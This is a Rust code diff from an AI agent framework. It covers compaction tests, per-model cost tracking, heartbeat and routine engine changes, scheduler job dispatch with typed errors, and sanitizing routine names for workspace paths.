async fn test_compact_with_summary_fewer_turns_than_keep() {
let llm = Arc::new(StubLlm::new("should not be called"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(3);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
// No turns removed, LLM never called
assert_eq!(thread.turns.len(), 3);
assert_eq!(result.turns_removed, 0);
assert!(result.summary.is_none());
assert_eq!(llm.calls(), 0);
}
// ------------------------------------------------------------------
// 7. compact_to_workspace without workspace falls back to truncation
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_to_workspace_without_workspace_falls_back() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
let result = compactor
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
.await
.expect("compact should succeed");
// Without a workspace, compact_to_workspace falls back to truncation
// keeping 5 turns (the hardcoded fallback in the code)
assert_eq!(thread.turns.len(), 5);
assert_eq!(result.turns_removed, 15);
// The remaining turns should be the last 5
assert_eq!(thread.turns[0].user_input, "msg-15");
assert_eq!(thread.turns[4].user_input, "msg-19");
}
// ------------------------------------------------------------------
// 8. compact_to_workspace: fewer turns than keep is a no-op
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_to_workspace_fewer_turns_noop() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
// MoveToWorkspace keeps 10 turns when workspace is available.
// Without workspace it falls back to truncate(5).
// With fewer turns, test the no-workspace fallback path:
let mut thread = make_thread(4);
let result = compactor
.compact(&mut thread, CompactionStrategy::MoveToWorkspace, None)
.await
.expect("compact should succeed");
// 4 turns < 5 (fallback keep_recent), so no truncation
assert_eq!(thread.turns.len(), 4);
assert_eq!(result.turns_removed, 0);
}
// ------------------------------------------------------------------
// 9. format_turns_for_storage includes tool calls
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_with_tool_calls() {
let mut thread = Thread::new(Uuid::new_v4());
thread.start_turn("Search for X");
// Record a tool call on the current turn
if let Some(turn) = thread.turns.last_mut() {
turn.record_tool_call("search", serde_json::json!({"query": "X"}));
}
thread.complete_turn("Found X");
let formatted = format_turns_for_storage(&thread.turns);
assert!(formatted.contains("Turn 1"));
assert!(formatted.contains("Search for X"));
assert!(formatted.contains("Found X"));
assert!(formatted.contains("Tools: search"));
}
// ------------------------------------------------------------------
// 10. format_turns_for_storage with no response (incomplete turn)
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_incomplete_turn() {
let mut thread = Thread::new(Uuid::new_v4());
thread.start_turn("In progress message");
// Don't complete the turn
let formatted = format_turns_for_storage(&thread.turns);
assert!(formatted.contains("Turn 1"));
assert!(formatted.contains("In progress message"));
// No "Agent:" line since response is None
assert!(!formatted.contains("Agent:"));
}
// ------------------------------------------------------------------
// 11. format_turns_for_storage empty list
// ------------------------------------------------------------------
#[test]
fn test_format_turns_for_storage_empty() {
let formatted = format_turns_for_storage(&[]);
assert!(formatted.is_empty());
}
// ------------------------------------------------------------------
// 12. Token counts decrease after truncation
// ------------------------------------------------------------------
#[tokio::test]
async fn test_tokens_decrease_after_compaction() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 5 },
None,
)
.await
.expect("compact should succeed");
assert!(
result.tokens_after < result.tokens_before,
"tokens_after ({}) should be less than tokens_before ({})",
result.tokens_after,
result.tokens_before
);
}
// ------------------------------------------------------------------
// 13. compact_with_summary: keep_recent=0 removes all turns
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_truncate_keep_zero() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 0 },
None,
)
.await
.expect("compact should succeed");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 5);
assert_eq!(result.tokens_after, 0);
}
// ------------------------------------------------------------------
// 14. Summarize with keep_recent=0 summarizes all and removes all
// ------------------------------------------------------------------
#[tokio::test]
async fn test_compact_with_summary_keep_zero() {
let llm = Arc::new(StubLlm::new("Summary of all turns"));
let compactor = make_compactor(llm.clone());
let mut thread = make_thread(5);
let result = compactor
.compact(
&mut thread,
CompactionStrategy::Summarize { keep_recent: 0 },
None,
)
.await
.expect("compact should succeed");
assert!(thread.turns.is_empty());
assert_eq!(result.turns_removed, 5);
assert!(result.summary.is_some());
assert_eq!(result.summary.unwrap(), "Summary of all turns");
assert_eq!(llm.calls(), 1);
}
// ------------------------------------------------------------------
// 15. Messages are correctly built from turns for thread.messages()
// after compaction
// ------------------------------------------------------------------
#[tokio::test]
async fn test_messages_coherent_after_compaction() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(10);
compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("compact should succeed");
let messages = thread.messages();
// 3 turns * 2 messages each (user + assistant) = 6
assert_eq!(messages.len(), 6);
// Verify alternating user/assistant pattern
for (i, msg) in messages.iter().enumerate() {
if i % 2 == 0 {
assert_eq!(msg.role, crate::llm::Role::User);
} else {
assert_eq!(msg.role, crate::llm::Role::Assistant);
}
}
// Verify content matches the last 3 original turns
assert_eq!(messages[0].content, "msg-7");
assert_eq!(messages[1].content, "resp-7");
assert_eq!(messages[4].content, "msg-9");
assert_eq!(messages[5].content, "resp-9");
}
// ------------------------------------------------------------------
// 16. Multiple sequential compactions work correctly
// ------------------------------------------------------------------
#[tokio::test]
async fn test_sequential_compactions() {
let llm = Arc::new(StubLlm::new("unused"));
let compactor = make_compactor(llm);
let mut thread = make_thread(20);
// First compaction: 20 -> 10
let r1 = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 10 },
None,
)
.await
.expect("first compact");
assert_eq!(thread.turns.len(), 10);
assert_eq!(r1.turns_removed, 10);
// Second compaction: 10 -> 3
let r2 = compactor
.compact(
&mut thread,
CompactionStrategy::Truncate { keep_recent: 3 },
None,
)
.await
.expect("second compact");
assert_eq!(thread.turns.len(), 3);
assert_eq!(r2.turns_removed, 7);
// The remaining turns should be the very last 3 from the original 20
assert_eq!(thread.turns[0].user_input, "msg-17");
assert_eq!(thread.turns[1].user_input, "msg-18");
assert_eq!(thread.turns[2].user_input, "msg-19");
}
}
+75 -9
View File
@@ -4,7 +4,7 @@
//! to prevent runaway agents from burning through API credits. Especially
//! important for daemon/heartbeat modes where the agent acts autonomously.
use std::collections::VecDeque;
use std::collections::{HashMap, VecDeque};
use std::sync::atomic::{AtomicBool, Ordering};
use std::time::Instant;
@@ -53,6 +53,14 @@ impl std::fmt::Display for CostLimitExceeded {
}
}
/// Per-model token usage counters.
#[derive(Debug, Clone, Default)]
pub struct ModelTokens {
pub input_tokens: u64,
pub output_tokens: u64,
pub cost: Decimal,
}
/// Tracks costs and action rates, enforcing configurable limits.
///
/// Thread-safe; designed to be shared via `Arc<CostGuard>`.
@@ -67,6 +75,9 @@ pub struct CostGuard {
/// Flag set when daily budget is exceeded to short-circuit checks.
budget_exceeded: AtomicBool,
/// Per-model token usage since startup.
model_tokens: Mutex<HashMap<String, ModelTokens>>,
}
struct DailyCost {
@@ -85,6 +96,7 @@ impl CostGuard {
}),
action_window: Mutex::new(VecDeque::new()),
budget_exceeded: AtomicBool::new(false),
model_tokens: Mutex::new(HashMap::new()),
}
}
@@ -139,14 +151,19 @@ impl CostGuard {
/// Record a completed LLM action: its token costs and the action timestamp.
///
/// Call this AFTER an LLM call completes so that costs are tracked.
///
/// When `cost_per_token` is `Some`, those rates are used directly (provider-
/// sourced pricing). When `None`, falls back to the static `costs::model_cost`
/// lookup table, then `costs::default_cost`.
pub async fn record_llm_call(
&self,
model: &str,
input_tokens: u32,
output_tokens: u32,
cost_per_token: Option<(Decimal, Decimal)>,
) -> Decimal {
let (input_rate, output_rate) =
costs::model_cost(model).unwrap_or_else(costs::default_cost);
let (input_rate, output_rate) = cost_per_token
.unwrap_or_else(|| costs::model_cost(model).unwrap_or_else(costs::default_cost));
let cost =
input_rate * Decimal::from(input_tokens) + output_rate * Decimal::from(output_tokens);
@@ -192,6 +209,15 @@ impl CostGuard {
window.push_back(Instant::now());
}
// Track per-model token usage
{
let mut tokens = self.model_tokens.lock().await;
let entry = tokens.entry(model.to_string()).or_default();
entry.input_tokens += u64::from(input_tokens);
entry.output_tokens += u64::from(output_tokens);
entry.cost += cost;
}
cost
}
@@ -215,6 +241,11 @@ impl CostGuard {
}
window.len() as u64
}
/// Per-model token usage since startup.
pub async fn model_usage(&self) -> HashMap<String, ModelTokens> {
self.model_tokens.lock().await.clone()
}
}
/// Convert a Decimal USD amount to whole cents (truncated).
@@ -235,7 +266,9 @@ mod tests {
assert!(guard.check_allowed().await.is_ok());
// Record a big call, still allowed
guard.record_llm_call("gpt-4o", 100_000, 100_000).await;
guard
.record_llm_call("gpt-4o", 100_000, 100_000, None)
.await;
assert!(guard.check_allowed().await.is_ok());
}
@@ -252,7 +285,7 @@ mod tests {
// Record a call that costs more than $0.01
// gpt-4o: input=$0.0000025/tok, output=$0.00001/tok
// 10000 input + 10000 output = $0.025 + $0.10 = $0.125
guard.record_llm_call("gpt-4o", 10_000, 10_000).await;
guard.record_llm_call("gpt-4o", 10_000, 10_000, None).await;
// Now should be blocked
let result = guard.check_allowed().await;
@@ -275,7 +308,7 @@ mod tests {
// First 3 actions allowed
for _ in 0..3 {
assert!(guard.check_allowed().await.is_ok());
guard.record_llm_call("gpt-4o", 10, 10).await;
guard.record_llm_call("gpt-4o", 10, 10, None).await;
}
// 4th should be blocked
@@ -296,7 +329,7 @@ mod tests {
assert_eq!(guard.daily_spend().await, Decimal::ZERO);
let cost = guard.record_llm_call("gpt-4o", 1000, 500).await;
let cost = guard.record_llm_call("gpt-4o", 1000, 500, None).await;
assert!(cost > Decimal::ZERO);
assert_eq!(guard.daily_spend().await, cost);
}
@@ -307,8 +340,8 @@ mod tests {
assert_eq!(guard.actions_this_hour().await, 0);
guard.record_llm_call("gpt-4o", 10, 10).await;
guard.record_llm_call("gpt-4o", 10, 10).await;
guard.record_llm_call("gpt-4o", 10, 10, None).await;
guard.record_llm_call("gpt-4o", 10, 10, None).await;
assert_eq!(guard.actions_this_hour().await, 2);
}
@@ -336,4 +369,37 @@ mod tests {
assert!(rate.to_string().contains("101 actions"));
assert!(rate.to_string().contains("100 allowed"));
}
#[tokio::test]
async fn test_model_usage_per_model_tracking() {
let guard = CostGuard::new(CostGuardConfig::default());
// Initially empty
assert!(guard.model_usage().await.is_empty());
// Record calls for two different models
guard.record_llm_call("gpt-4o", 1000, 500, None).await;
guard.record_llm_call("gpt-4o", 2000, 1000, None).await;
guard
.record_llm_call("claude-3-5-sonnet-20241022", 500, 200, None)
.await;
let usage = guard.model_usage().await;
assert_eq!(usage.len(), 2);
let gpt = usage.get("gpt-4o").expect("gpt-4o should be tracked");
assert_eq!(gpt.input_tokens, 3000);
assert_eq!(gpt.output_tokens, 1500);
assert!(gpt.cost > Decimal::ZERO);
let claude = usage
.get("claude-3-5-sonnet-20241022")
.expect("claude should be tracked");
assert_eq!(claude.input_tokens, 500);
assert_eq!(claude.output_tokens, 200);
assert!(claude.cost > Decimal::ZERO);
// Costs should differ since models have different pricing
assert_ne!(gpt.cost, claude.cost);
}
}
+1500 -292
View File
File diff suppressed because it is too large Load Diff
+33 -13
View File
@@ -29,8 +29,10 @@ use std::time::Duration;
use tokio::sync::mpsc;
use crate::channels::OutgoingResponse;
use crate::llm::{ChatMessage, CompletionRequest, FinishReason, LlmProvider};
use crate::llm::{ChatMessage, CompletionRequest, LlmProvider, Reasoning};
use crate::safety::SafetyLayer;
use crate::workspace::Workspace;
use crate::workspace::hygiene::HygieneConfig;
/// Configuration for the heartbeat runner.
#[derive(Debug, Clone)]
@@ -96,8 +98,10 @@ pub enum HeartbeatResult {
/// Heartbeat runner for proactive periodic execution.
pub struct HeartbeatRunner {
config: HeartbeatConfig,
hygiene_config: HygieneConfig,
workspace: Arc<Workspace>,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
response_tx: Option<mpsc::Sender<OutgoingResponse>>,
consecutive_failures: u32,
}
@@ -106,13 +110,17 @@ impl HeartbeatRunner {
/// Create a new heartbeat runner.
pub fn new(
config: HeartbeatConfig,
hygiene_config: HygieneConfig,
workspace: Arc<Workspace>,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
) -> Self {
Self {
config,
hygiene_config,
workspace,
llm,
safety,
response_tx: None,
consecutive_failures: 0,
}
@@ -145,6 +153,22 @@ impl HeartbeatRunner {
loop {
interval.tick().await;
// Run memory hygiene in the background so it never delays the
// heartbeat checklist. Failures are logged inside run_if_due.
let hygiene_workspace = Arc::clone(&self.workspace);
let hygiene_config = self.hygiene_config.clone();
tokio::spawn(async move {
let report =
crate::workspace::hygiene::run_if_due(&hygiene_workspace, &hygiene_config)
.await;
if report.had_work() {
tracing::info!(
daily_logs_deleted = report.daily_logs_deleted,
"heartbeat: memory hygiene deleted stale documents"
);
}
});
match self.check_heartbeat().await {
HeartbeatResult::Ok => {
tracing::debug!("Heartbeat OK");
@@ -238,25 +262,18 @@ impl HeartbeatRunner {
.with_max_tokens(max_tokens)
.with_temperature(0.3);
let response = match self.llm.complete(request).await {
let reasoning = Reasoning::new(self.llm.clone(), self.safety.clone());
let (content, _usage) = match reasoning.complete(request).await {
Ok(r) => r,
Err(e) => return HeartbeatResult::Failed(format!("LLM call failed: {}", e)),
};
let content = response.content.trim();
let content = content.trim();
// Guard against empty content. Reasoning models (e.g. GLM-4.7) may
// burn all output tokens on chain-of-thought and return content: null.
if content.is_empty() {
return if response.finish_reason == FinishReason::Length {
HeartbeatResult::Failed(
"LLM response was truncated (finish_reason=length) with no content. \
The model may have exhausted its token budget on reasoning."
.to_string(),
)
} else {
HeartbeatResult::Failed("LLM returned empty content.".to_string())
};
return HeartbeatResult::Failed("LLM returned empty content.".to_string());
}
// Check if nothing needs attention
@@ -277,6 +294,7 @@ impl HeartbeatRunner {
let response = OutgoingResponse {
content: format!("🔔 *Heartbeat Alert*\n\n{}", message),
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::json!({
"source": "heartbeat",
}),
@@ -332,11 +350,13 @@ fn strip_html_comments(content: &str) -> String {
/// Returns a handle that can be used to stop the runner.
pub fn spawn_heartbeat(
config: HeartbeatConfig,
hygiene_config: HygieneConfig,
workspace: Arc<Workspace>,
llm: Arc<dyn LlmProvider>,
safety: Arc<SafetyLayer>,
response_tx: Option<mpsc::Sender<OutgoingResponse>>,
) -> tokio::task::JoinHandle<()> {
let mut runner = HeartbeatRunner::new(config, workspace, llm);
let mut runner = HeartbeatRunner::new(config, hygiene_config, workspace, llm, safety);
if let Some(tx) = response_tx {
runner = runner.with_response_channel(tx);
}
+1 -1
View File
@@ -44,6 +44,6 @@ pub use self_repair::{BrokenTool, RepairResult, RepairTask, SelfRepair, StuckJob
pub use session::{PendingApproval, PendingAuth, Session, Thread, ThreadState, Turn, TurnState};
pub use session_manager::SessionManager;
pub use submission::{Submission, SubmissionParser, SubmissionResult};
pub use task::{Task, TaskContext, TaskHandler, TaskOutput, TaskStatus};
pub use task::{Task, TaskContext, TaskHandler, TaskOutput};
pub use undo::{Checkpoint, UndoManager};
pub use worker::{Worker, WorkerDeps};
+38 -13
View File
@@ -26,6 +26,8 @@ use chrono::{DateTime, Utc};
use serde::{Deserialize, Serialize};
use uuid::Uuid;
use crate::error::RoutineError;
/// A routine is a named, persistent, user-owned task with a trigger and an action.
#[derive(Debug, Clone, Serialize, Deserialize)]
pub struct Routine {
@@ -86,13 +88,16 @@ impl Trigger {
}
/// Parse a trigger from its DB representation.
pub fn from_db(trigger_type: &str, config: serde_json::Value) -> Result<Self, String> {
pub fn from_db(trigger_type: &str, config: serde_json::Value) -> Result<Self, RoutineError> {
match trigger_type {
"cron" => {
let schedule = config
.get("schedule")
.and_then(|v| v.as_str())
.ok_or("cron trigger missing 'schedule'")?
.ok_or_else(|| RoutineError::MissingField {
context: "cron trigger".into(),
field: "schedule".into(),
})?
.to_string();
Ok(Trigger::Cron { schedule })
}
@@ -100,7 +105,10 @@ impl Trigger {
let pattern = config
.get("pattern")
.and_then(|v| v.as_str())
.ok_or("event trigger missing 'pattern'")?
.ok_or_else(|| RoutineError::MissingField {
context: "event trigger".into(),
field: "pattern".into(),
})?
.to_string();
let channel = config
.get("channel")
@@ -120,7 +128,9 @@ impl Trigger {
Ok(Trigger::Webhook { path, secret })
}
"manual" => Ok(Trigger::Manual),
other => Err(format!("unknown trigger type: {other}")),
other => Err(RoutineError::UnknownTriggerType {
trigger_type: other.to_string(),
}),
}
}
@@ -186,13 +196,16 @@ impl RoutineAction {
}
/// Parse an action from its DB representation.
pub fn from_db(action_type: &str, config: serde_json::Value) -> Result<Self, String> {
pub fn from_db(action_type: &str, config: serde_json::Value) -> Result<Self, RoutineError> {
match action_type {
"lightweight" => {
let prompt = config
.get("prompt")
.and_then(|v| v.as_str())
.ok_or("lightweight action missing 'prompt'")?
.ok_or_else(|| RoutineError::MissingField {
context: "lightweight action".into(),
field: "prompt".into(),
})?
.to_string();
let context_paths = config
.get("context_paths")
@@ -217,12 +230,18 @@ impl RoutineAction {
let title = config
.get("title")
.and_then(|v| v.as_str())
.ok_or("full_job action missing 'title'")?
.ok_or_else(|| RoutineError::MissingField {
context: "full_job action".into(),
field: "title".into(),
})?
.to_string();
let description = config
.get("description")
.and_then(|v| v.as_str())
.ok_or("full_job action missing 'description'")?
.ok_or_else(|| RoutineError::MissingField {
context: "full_job action".into(),
field: "description".into(),
})?
.to_string();
let max_iterations = config
.get("max_iterations")
@@ -235,7 +254,9 @@ impl RoutineAction {
max_iterations,
})
}
other => Err(format!("unknown action type: {other}")),
other => Err(RoutineError::UnknownActionType {
action_type: other.to_string(),
}),
}
}
@@ -334,14 +355,16 @@ impl std::fmt::Display for RunStatus {
}
impl FromStr for RunStatus {
type Err = String;
type Err = RoutineError;
fn from_str(s: &str) -> Result<Self, Self::Err> {
match s {
"running" => Ok(RunStatus::Running),
"ok" => Ok(RunStatus::Ok),
"attention" => Ok(RunStatus::Attention),
"failed" => Ok(RunStatus::Failed),
other => Err(format!("unknown run status: {other}")),
other => Err(RoutineError::UnknownRunStatus {
status: other.to_string(),
}),
}
}
}
@@ -370,9 +393,11 @@ pub fn content_hash(content: &str) -> u64 {
}
/// Parse a cron expression and compute the next fire time from now.
pub fn next_cron_fire(schedule: &str) -> Result<Option<DateTime<Utc>>, String> {
pub fn next_cron_fire(schedule: &str) -> Result<Option<DateTime<Utc>>, RoutineError> {
let cron_schedule =
cron::Schedule::from_str(schedule).map_err(|e| format!("invalid cron: {e}"))?;
cron::Schedule::from_str(schedule).map_err(|e| RoutineError::InvalidCron {
reason: e.to_string(),
})?;
Ok(cron_schedule.upcoming(Utc).next())
}
+106 -32
View File
@@ -19,12 +19,14 @@ use regex::Regex;
use tokio::sync::{RwLock, mpsc};
use uuid::Uuid;
use crate::agent::Scheduler;
use crate::agent::routine::{
NotifyConfig, Routine, RoutineAction, RoutineRun, RunStatus, Trigger, next_cron_fire,
};
use crate::channels::{IncomingMessage, OutgoingResponse};
use crate::config::RoutineConfig;
use crate::db::Database;
use crate::error::RoutineError;
use crate::llm::{ChatMessage, CompletionRequest, FinishReason, LlmProvider};
use crate::workspace::Workspace;
@@ -40,6 +42,8 @@ pub struct RoutineEngine {
running_count: Arc<AtomicUsize>,
/// Compiled event regex cache: routine_id -> compiled regex.
event_cache: Arc<RwLock<Vec<(Uuid, Routine, Regex)>>>,
/// Scheduler for dispatching jobs (FullJob mode).
scheduler: Option<Arc<Scheduler>>,
}
impl RoutineEngine {
@@ -49,6 +53,7 @@ impl RoutineEngine {
llm: Arc<dyn LlmProvider>,
workspace: Arc<Workspace>,
notify_tx: mpsc::Sender<OutgoingResponse>,
scheduler: Option<Arc<Scheduler>>,
) -> Self {
Self {
config,
@@ -58,6 +63,7 @@ impl RoutineEngine {
notify_tx,
running_count: Arc::new(AtomicUsize::new(0)),
event_cache: Arc::new(RwLock::new(Vec::new())),
scheduler,
}
}
@@ -174,23 +180,26 @@ impl RoutineEngine {
}
/// Fire a routine manually (from tool call or CLI).
pub async fn fire_manual(&self, routine_id: Uuid) -> Result<Uuid, String> {
pub async fn fire_manual(&self, routine_id: Uuid) -> Result<Uuid, RoutineError> {
let routine = self
.store
.get_routine(routine_id)
.await
.map_err(|e| format!("DB error: {e}"))?
.ok_or_else(|| format!("routine {routine_id} not found"))?;
.map_err(|e| RoutineError::Database {
reason: e.to_string(),
})?
.ok_or(RoutineError::NotFound { id: routine_id })?;
if !routine.enabled {
return Err(format!("routine '{}' is disabled", routine.name));
return Err(RoutineError::Disabled {
name: routine.name.clone(),
});
}
if !self.check_concurrent(&routine).await {
return Err(format!(
"routine '{}' already at max concurrent runs",
routine.name
));
return Err(RoutineError::MaxConcurrent {
name: routine.name.clone(),
});
}
let run_id = Uuid::new_v4();
@@ -209,7 +218,9 @@ impl RoutineEngine {
};
if let Err(e) = self.store.create_routine_run(&run).await {
return Err(format!("failed to create run record: {e}"));
return Err(RoutineError::Database {
reason: format!("failed to create run record: {e}"),
});
}
// Execute inline for manual triggers (caller wants to wait)
@@ -219,7 +230,7 @@ impl RoutineEngine {
workspace: self.workspace.clone(),
notify_tx: self.notify_tx.clone(),
running_count: self.running_count.clone(),
max_lightweight_tokens: self.config.max_lightweight_tokens,
scheduler: self.scheduler.clone(),
};
tokio::spawn(async move {
@@ -251,7 +262,7 @@ impl RoutineEngine {
workspace: self.workspace.clone(),
notify_tx: self.notify_tx.clone(),
running_count: self.running_count.clone(),
max_lightweight_tokens: self.config.max_lightweight_tokens,
scheduler: self.scheduler.clone(),
};
// Record the run in DB, then spawn execution
@@ -298,7 +309,7 @@ struct EngineContext {
workspace: Arc<Workspace>,
notify_tx: mpsc::Sender<OutgoingResponse>,
running_count: Arc<AtomicUsize>,
max_lightweight_tokens: u32,
scheduler: Option<Arc<Scheduler>>,
}
/// Execute a routine run. Handles both lightweight and full_job modes.
@@ -312,15 +323,11 @@ async fn execute_routine(ctx: EngineContext, routine: Routine, run: RoutineRun)
context_paths,
max_tokens,
} => execute_lightweight(&ctx, &routine, prompt, context_paths, *max_tokens).await,
RoutineAction::FullJob { description, .. } => {
// Full job mode: for now, execute as lightweight with the description
// as prompt. Full scheduler integration will come as a follow-up.
tracing::info!(
routine = %routine.name,
"FullJob mode executing as lightweight (scheduler integration pending)"
);
execute_lightweight(&ctx, &routine, description, &[], ctx.max_lightweight_tokens).await
}
RoutineAction::FullJob {
title,
description,
max_iterations,
} => execute_full_job(&ctx, &routine, &run, title, description, *max_iterations).await,
};
// Decrement running count
@@ -331,7 +338,7 @@ async fn execute_routine(ctx: EngineContext, routine: Routine, run: RoutineRun)
Ok(execution) => execution,
Err(e) => {
tracing::error!(routine = %routine.name, "Execution failed: {}", e);
(RunStatus::Failed, Some(e), None)
(RunStatus::Failed, Some(e.to_string()), None)
}
};
@@ -384,6 +391,71 @@ async fn execute_routine(ctx: EngineContext, routine: Routine, run: RoutineRun)
.await;
}
/// Sanitize a routine name for use in workspace paths.
/// Only keeps alphanumeric, dash, and underscore characters; replaces everything else.
fn sanitize_routine_name(name: &str) -> String {
name.chars()
.map(|c| {
if c.is_ascii_alphanumeric() || c == '-' || c == '_' {
c
} else {
'_'
}
})
.collect()
}
/// Execute a full-job routine by dispatching to the scheduler.
///
/// Fire-and-forget: creates a job via `Scheduler::dispatch_job` (which handles
/// creation, metadata, persistence, and scheduling), links the routine run to
/// the job, and returns immediately. The job runs independently via the
/// existing Worker/Scheduler with full tool access.
async fn execute_full_job(
ctx: &EngineContext,
routine: &Routine,
run: &RoutineRun,
title: &str,
description: &str,
max_iterations: u32,
) -> Result<(RunStatus, Option<String>, Option<i32>), RoutineError> {
let scheduler = ctx
.scheduler
.as_ref()
.ok_or_else(|| RoutineError::JobDispatchFailed {
reason: "scheduler not available".to_string(),
})?;
let metadata = serde_json::json!({ "max_iterations": max_iterations });
let job_id = scheduler
.dispatch_job(&routine.user_id, title, description, Some(metadata))
.await
.map_err(|e| RoutineError::JobDispatchFailed {
reason: format!("failed to dispatch job: {e}"),
})?;
// Link the routine run to the dispatched job
if let Err(e) = ctx.store.link_routine_run_to_job(run.id, job_id).await {
tracing::error!(
routine = %routine.name,
"Failed to link run to job: {}", e
);
}
tracing::info!(
routine = %routine.name,
job_id = %job_id,
max_iterations = max_iterations,
"Dispatched full job for routine"
);
let summary = format!(
"Dispatched job {job_id} for full execution with tool access (max_iterations: {max_iterations})"
);
Ok((RunStatus::Ok, Some(summary), None))
}
/// Execute a lightweight routine (single LLM call).
async fn execute_lightweight(
ctx: &EngineContext,
@@ -391,7 +463,7 @@ async fn execute_lightweight(
prompt: &str,
context_paths: &[String],
max_tokens: u32,
) -> Result<(RunStatus, Option<String>, Option<i32>), String> {
) -> Result<(RunStatus, Option<String>, Option<i32>), RoutineError> {
// Load context from workspace
let mut context_parts = Vec::new();
for path in context_paths {
@@ -408,8 +480,9 @@ async fn execute_lightweight(
}
}
// Load routine state from workspace
let state_path = format!("routines/{}/state.md", routine.name);
// Load routine state from workspace (name sanitized to prevent path traversal)
let safe_name = sanitize_routine_name(&routine.name);
let state_path = format!("routines/{safe_name}/state.md");
let state_content = match ctx.workspace.read(&state_path).await {
Ok(doc) => Some(doc.content),
Err(_) => None,
@@ -469,7 +542,9 @@ async fn execute_lightweight(
.llm
.complete(request)
.await
.map_err(|e| format!("LLM call failed: {e}"))?;
.map_err(|e| RoutineError::LlmFailed {
reason: e.to_string(),
})?;
let content = response.content.trim();
let tokens_used = Some((response.input_tokens + response.output_tokens) as i32);
@@ -477,13 +552,9 @@ async fn execute_lightweight(
// Empty content guard (same as heartbeat)
if content.is_empty() {
return if response.finish_reason == FinishReason::Length {
Err(
"LLM response truncated (finish_reason=length) with no content. \
Model may have exhausted token budget on reasoning."
.to_string(),
)
Err(RoutineError::TruncatedResponse)
} else {
Err("LLM returned empty content.".to_string())
Err(RoutineError::EmptyResponse)
};
}
@@ -529,10 +600,13 @@ async fn send_notification(
let response = OutgoingResponse {
content: message,
thread_id: None,
attachments: Vec::new(),
metadata: serde_json::json!({
"source": "routine",
"routine_name": routine_name,
"status": status.to_string(),
"notify_user": notify.user,
"notify_channel": notify.channel,
}),
};
+56 -4
View File
@@ -81,6 +81,50 @@ impl Scheduler {
}
}
/// Create, persist, and schedule a job in one shot.
///
/// This is the preferred entry point for dispatching new jobs. It:
/// 1. Creates the job context via `ContextManager`
/// 2. Optionally applies metadata (e.g. `max_iterations`)
/// 3. Persists the job to the database (so FK references from
/// `job_actions` / `llm_calls` work immediately)
/// 4. Schedules the job for worker execution
///
/// Returns the new job ID.
pub async fn dispatch_job(
&self,
user_id: &str,
title: &str,
description: &str,
metadata: Option<serde_json::Value>,
) -> Result<Uuid, JobError> {
let job_id = self
.context_manager
.create_job_for_user(user_id, title, description)
.await?;
// Apply metadata if provided
if let Some(meta) = metadata {
self.context_manager
.update_context(job_id, |ctx| {
ctx.metadata = meta;
})
.await?;
}
// Persist to DB before scheduling so the worker's FK references are valid
if let Some(ref store) = self.store {
let ctx = self.context_manager.get_context(job_id).await?;
store.save_job(&ctx).await.map_err(|e| JobError::Failed {
id: job_id,
reason: format!("failed to persist job: {e}"),
})?;
}
self.schedule(job_id).await?;
Ok(job_id)
}
/// Schedule a job for execution.
pub async fn schedule(&self, job_id: Uuid) -> Result<(), JobError> {
// Hold write lock for the entire check-insert sequence to prevent
@@ -136,7 +180,9 @@ impl Scheduler {
});
// Start the worker
let _ = tx.send(WorkerMessage::Start).await;
if tx.send(WorkerMessage::Start).await.is_err() {
tracing::error!(job_id = %job_id, "Worker died before receiving Start message");
}
// Insert while still holding the write lock
jobs.insert(job_id, ScheduledJob { handle, tx });
@@ -355,7 +401,7 @@ impl Scheduler {
.into());
}
if tool.requires_approval() {
if tool.requires_approval(&params).is_required() {
return Err(crate::error::ToolError::AuthRequired {
name: tool_name.to_string(),
}
@@ -418,10 +464,16 @@ impl Scheduler {
// Update job state
self.context_manager
.update_context(job_id, |ctx| {
let _ = ctx.transition_to(
if let Err(e) = ctx.transition_to(
JobState::Cancelled,
Some("Stopped by scheduler".to_string()),
);
) {
tracing::warn!(
job_id = %job_id,
error = %e,
"Failed to transition job to Cancelled state"
);
}
})
.await?;
+138 -6
View File
@@ -66,12 +66,14 @@ pub trait SelfRepair: Send + Sync {
/// Default self-repair implementation.
pub struct DefaultSelfRepair {
context_manager: Arc<ContextManager>,
#[allow(dead_code)] // Will be used for time-based stuck detection
// TODO: use for time-based stuck detection (currently only max_repair_attempts is checked)
#[allow(dead_code)]
stuck_threshold: Duration,
max_repair_attempts: u32,
store: Option<Arc<dyn Database>>,
builder: Option<Arc<dyn SoftwareBuilder>>,
#[allow(dead_code)] // Will be used for tool hot-reload after repair
// TODO: use for tool hot-reload after repair
#[allow(dead_code)]
tools: Option<Arc<ToolRegistry>>,
}
@@ -93,15 +95,15 @@ impl DefaultSelfRepair {
}
/// Add a Store for tool failure tracking.
#[allow(dead_code)] // Public API for configuring repair with persistence
pub fn with_store(mut self, store: Arc<dyn Database>) -> Self {
#[allow(dead_code)] // TODO: wire up in main.rs when persistence is needed
pub(crate) fn with_store(mut self, store: Arc<dyn Database>) -> Self {
self.store = Some(store);
self
}
/// Add a Builder and ToolRegistry for automatic tool repair.
#[allow(dead_code)] // Public API for enabling automatic tool repair
pub fn with_builder(
